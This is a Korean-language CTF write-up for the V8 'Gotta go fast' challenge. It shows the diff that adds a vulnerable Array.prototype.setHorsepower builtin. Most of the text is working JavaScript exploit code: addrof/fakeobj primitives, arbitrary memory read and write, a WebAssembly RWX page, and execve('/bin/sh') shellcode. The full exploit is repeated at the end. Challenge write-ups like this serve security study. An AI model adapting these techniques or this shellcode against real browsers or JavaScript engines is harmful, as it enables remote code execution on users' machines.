Gotta go fast
Environment Setting
- V8 commit hash: 506aeae95dd03c734e43f30ffc2a939e5bbb79bf
Analysis
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index ce3886e87e..6621a79618 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1754,6 +1754,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
array_function, DONT_ENUM);
+ SimpleInstallFunction(isolate_, proto, "setHorsepower",
+ Builtins::kArraySetHorsepower, 1, false);
SimpleInstallFunction(isolate_, proto, "concat", Builtins::kArrayConcat, 1,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
diff --git a/BUILD.gn b/BUILD.gn
index 9482b977e3..6a3f1e2d0f 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1175,6 +1175,7 @@ action("postmortem-metadata") {
}
torque_files = [
+ "src/builtins/array-horsepower.tq",
"src/builtins/aggregate-error.tq",
"src/builtins/array-at.tq",
"src/builtins/array-copywithin.tq",
Array.setHorsepower()
method와, 이 method의 구현체인 array-horsepower.tq
파일이 추가되었습니다.
/* src/objects/js-array.tq */
extern class JSArray extends JSObject {
macro IsEmpty(): bool {
return this.length == 0;
}
macro SetLength(l: Smi) {
this.length = l;
}
length: Number;
}
/* src/builtins/array-horsepower.tq */
// Gotta go fast!!
namespace array {
transitioning javascript builtin
ArraySetHorsepower(
js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
try {
const h: Smi = Cast<Smi>(horsepower) otherwise End;
const a: JSArray = Cast<JSArray>(receiver) otherwise End;
a.SetLength(h);
} label End {
Print("Improper attempt to set horsepower");
}
return receiver;
}
}
ArraySetHorsepower()
함수는 인자로 받은 horsepower
를 receiver
의 새로운 length로 설정합니다.
하지만 length만 새로 설정하고 실제로 메모리가 확장되지 않기 때문에 out of bounds access가 가능합니다.
Exploit
Helpers
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert bigint to hex string
function hex(i) {
return '0x' + i.toString(16);
}
Generate OOB array
let oob_arr;
(ex = () => {
oob_arr = [1.1];
oob_arr.setHorsepower(0x1000);
})();
% DebugPrint(oob_arr);
Addrof / fakeobj
let oob_arr;
let obj_arr;
(ex = () => {
oob_arr = [1.1];
obj_arr = [{}];
oob_arr.setHorsepower(0x1000);
})();
/* get address of obj */
function addrof(obj) {
obj_arr[0] = obj;
return ftoi(oob_arr[4]) & 0xffffffffn;
}
/* addrof test */
let tmp_obj = {};
console.log(hex(addrof(tmp_obj)));
% DebugPrint(tmp_obj);
/* generate fake object at addr */
function fakeobj(addr) {
let tmp = ftoi(oob_arr[4]);
tmp &= 0xffffffff00000000n;
tmp |= addr;
oob_arr[4] = itof(tmp);
return obj_arr[0];
}
/* fakeobj test */
let tmp_obj = {};
let tmp_obj_addr = addrof(tmp_obj);
let fake_obj = fakeobj(tmp_obj_addr - 0x10n);
console.log(hex(tmp_obj_addr));
% DebugPrint(fake_obj);
AAR / AAW
let oob_arr;
let obj_arr;
let aarw_arr_struct;
(ex = () => {
oob_arr = [1.1];
obj_arr = [{}];
aarw_arr_struct = [2.2, 3.3];
oob_arr.setHorsepower(0x1000);
aarw_arr_struct[0] = oob_arr[1]; // map | properties
})();
/* arbitrary address read */
function aar(addr) {
aarw_arr_struct[1] = itof(2n << 32n | addr - 8n); // elements | length
let aar_arr = fakeobj(addrof(aarw_arr_struct) - 0x10n);
return ftoi(aar_arr[0]);
}
/* aar test */
(() => {
let tmp_arr = [1.1];
let tmp_arr_addr = addrof(tmp_arr);
console.log(itof(aar(tmp_arr_addr - 8n)));
})();
/* arbitrary address write */
function aaw(addr, value) {
aarw_arr_struct[1] = itof(2n << 32n | addr - 8n); // elements | length
let aar_arr = fakeobj(addrof(aarw_arr_struct) - 0x10n);
aar_arr[0] = itof(value);
}
/* aaw test */
(() => {
let tmp_arr = [1.1];
let tmp_arr_addr = addrof(tmp_arr);
aaw(tmp_arr_addr - 8n, ftoi(2.2));
console.log(tmp_arr[0]);
})();
Execute shellcode
let oob_arr;
let obj_arr;
let aarw_arr_struct;
let buf;
let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]; // execve("/bin/sh", 0, 0)
(ex = () => {
oob_arr = [1.1];
obj_arr = [{}];
aarw_arr_struct = [2.2, 3.3];
buf = new ArrayBuffer(shellcode.length);
oob_arr.setHorsepower(0x1000);
aarw_arr_struct[0] = oob_arr[1]; // map | properties
})();
/* allocate rwx region */
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let sh = wasmInstance.exports.main;
let rwx = aar(addrof(wasmInstance) + 0x68n); // address of rwx region
/* overwrite backing store of buf */
let tmp = ftoi(oob_arr[17]);
tmp &= 0xffffffffn;
tmp |= (rwx & 0xffffffffn) << 32n;
oob_arr[17] = itof(tmp);
tmp = ftoi(oob_arr[18]);
tmp &= 0xffffffff00000000n;
tmp |= (rwx & 0xffffffff00000000n) >> 32n;
oob_arr[18] = itof(tmp);
/* copy shellcode to rwx region */
let view = new DataView(buf);
for (let i = 0; i < shellcode.length; i++) {
view.setUint8(i, shellcode[i]);
}
sh(); // execute shellcode
Full exploit
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert bigint to hex string
function hex(i) {
return '0x' + i.toString(16);
}
let oob_arr;
let obj_arr;
let aarw_arr_struct;
let buf;
let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]; // execve("/bin/sh", 0, 0)
(ex = () => {
oob_arr = [1.1];
obj_arr = [{}];
aarw_arr_struct = [2.2, 3.3];
buf = new ArrayBuffer(shellcode.length);
oob_arr.setHorsepower(0x1000);
aarw_arr_struct[0] = oob_arr[1]; // map | properties
})();
/* get address of obj */
function addrof(obj) {
obj_arr[0] = obj;
return ftoi(oob_arr[4]) & 0xffffffffn;
}
/* generate fake object at addr */
function fakeobj(addr) {
let tmp = ftoi(oob_arr[4]);
tmp &= 0xffffffff00000000n;
tmp |= addr;
oob_arr[4] = itof(tmp);
return obj_arr[0];
}
/* arbitrary address read */
function aar(addr) {
aarw_arr_struct[1] = itof(2n << 32n | addr - 8n); // elements | length
let aar_arr = fakeobj(addrof(aarw_arr_struct) - 0x10n);
return ftoi(aar_arr[0]);
}
/* arbitrary address write */
function aaw(addr, value) {
aarw_arr_struct[1] = itof(2n << 32n | addr - 8n); // elements | length
let aar_arr = fakeobj(addrof(aarw_arr_struct) - 0x10n);
aar_arr[0] = itof(value);
}
/* allocate rwx region */
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let sh = wasmInstance.exports.main;
let rwx = aar(addrof(wasmInstance) + 0x68n); // address of rwx region
/* overwrite backing store of buf */
let tmp = ftoi(oob_arr[17]);
tmp &= 0xffffffffn;
tmp |= (rwx & 0xffffffffn) << 32n;
oob_arr[17] = itof(tmp);
tmp = ftoi(oob_arr[18]);
tmp &= 0xffffffff00000000n;
tmp |= (rwx & 0xffffffff00000000n) >> 32n;
oob_arr[18] = itof(tmp);
/* copy shellcode to rwx region */
let view = new DataView(buf);
for (let i = 0; i < shellcode.length; i++) {
view.setUint8(i, shellcode[i]);
}
sh(); // execute shellcode
728x90